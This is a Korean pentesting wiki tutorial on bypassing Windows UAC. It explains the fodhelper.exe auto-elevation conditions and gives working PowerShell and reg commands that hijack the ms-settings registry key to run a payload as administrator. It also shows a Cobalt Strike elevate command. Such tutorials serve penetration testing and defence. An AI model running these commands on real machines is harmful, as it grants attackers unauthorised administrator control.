펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • Cobalt Strike
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Windows

UAC Bypass

PreviousWeak Service Binary PermissionsNextAlways Install Elevated

Last updated 1 month ago

Was this helpful?

UAC Bypass는 MS에서 공식으로 취약점으로 인정하지는 않지만,

널리 알려진 권한상승 기법의 경우 Windows 패치 시 차단될 수 있습니다.

UAC는 User Account Control의 약어로 Windows에서 높은 권한을 요구하는 동작을 할 때 관리자 권한을 가진 사용자의 승인을 받아 권한 상승을 하는 시스템입니다. Windows에서 사용자 요청에 대한 권한을 확인할 때 사용되는 UAC는 높은 수준의 무결성이 요구되는 동작을 요청했을 때 그에 맞는 권한이 없다면 리소스에 대한 쓰기 엑세스를 차단합니다. 초기 침투에 성공한 이후에 적절한 권한이 없더라면 영향력 있는 요청이 불가능할 수 있습니다.

하지만 Windows에서 모든 요청에 대해서 UAC를 확인하는 것은 아닙니다. 아래 3가지 조건 중 하나라도 부합하지 않는다면 권한 상승을 요청하게 되고, 모두 충족하게 된다면 권한 상승에 대한 요청/승인 없이도 높은 권한으로 실행이 가능합니다.

  1. 실행 파일에서 <autoElevate>true</autoElevate> 속성이 존재

  2. 유효한 전자서명

  3. 신뢰할 수 있는 폴더(C:\Windows\System32 등)에서 실행되었는지 여부

이 모든 것을 만족하는 대표적인 실행 파일이 C:\Windows\System32\fodhelper.exe 입니다.

fodhelper.exe는 Windows에서 기능 추가 관리자(Features on Demand Helper)의 역할이며 이 실행파일이 실행될 때는 반드시 ms-settings.exe를 실행하게 됩니다. 그리고 이것이 실행될 때 HKCU\Software\Classes\ms-settings\shell\open\command 키의 항목에 있는 값도 함께 실행하게 됩니다. 결과적으로 ms-settings의 레지스트리 값에 대한 항목에 악성 코드를 삽입하면 Windows에서 신뢰받는 fodhelper.exe 프로그램을 실행했을 때 관리자 권한으로 악성 코드를 실행할 수 있습니다.

Practice

먼저 실습에 필요한 HKLM에 EnableLUA 값이 1로 존재하는지 확인합니다. 레지스트리로부터 EnableLUA 값이 1로 설정되어 있다면 UAC가 활성화된 상태인 것입니다.

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA

아래와 같이 새로운 레지스트리를 등록하여 ms-settings가 실행될 때 Windows 설정이 아닌 파워쉘 명령을 실행하도록 할 수 있습니다.

# 레지스트리 키 생성
New-Item -Path "HKCU\Software\Classes\ms-settings\shell\open\command" -Force

# DelegateExecute 항목 생성 
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force

# 기본 실행 명령 설정
Set-ItemProperty -Path "HKCU\Software\Classes\ms-settings\shell\open\command" -Name "(default)" -Value "powershell -exec bypass -c <PATH>" -Force
# 레지스트리 키 생성
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /f

# DelegateExecute 항목 생성
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /t REG_SZ /d "" /f

# 기본 실행 명령 설정
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /t REG_SZ /d "cmd.exe /c <PATH>" /f

레지스트리 등록을 통해 ms-settings가 실행될 때 리버스 쉘이 연결되도록 한 후에는 아래의 명령으로 ms-settings를 실행할 수 있습니다.

# ms-settings 실행
C:\Windows\System32\fodhelper.exe

ms-settings가 실행되며 레지스트리 키에 있던 명령이 관리자 권한으로 실행됩니다.

Cobalt Strike

코발트 스트라이크에서는 몇가지 내장된 UAC 우회 기법이 있으며, 이 외에도 Elevate Kit를 통해 제공되는 기법들로 Integrity Level을 상승시킬 수 있습니다.

beacon> elevate uac-schtasks tcp-local

References

Fodhelper를 이용한 UAC bypassTISTORY
Logo
Exploring Windows UAC Bypasses: Techniques and Detection Strategies — Elastic Security Labs
Logo
UAC 우회 및 권한 상승 기법주식회사 쏘마 기술 블로그 | SOMMA, Inc. Tech Blog
Windows-Local-Privilege-Escalation-Cookbook/Notes/UACBypass.md at master · nickvourd/Windows-Local-Privilege-Escalation-CookbookGitHub
Integrity LevelsHackTricks
Logo
Logo
https://www.hahwul.com/2017/08/07/metasploit-meterpreter-windows7-uac/
https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies
Logo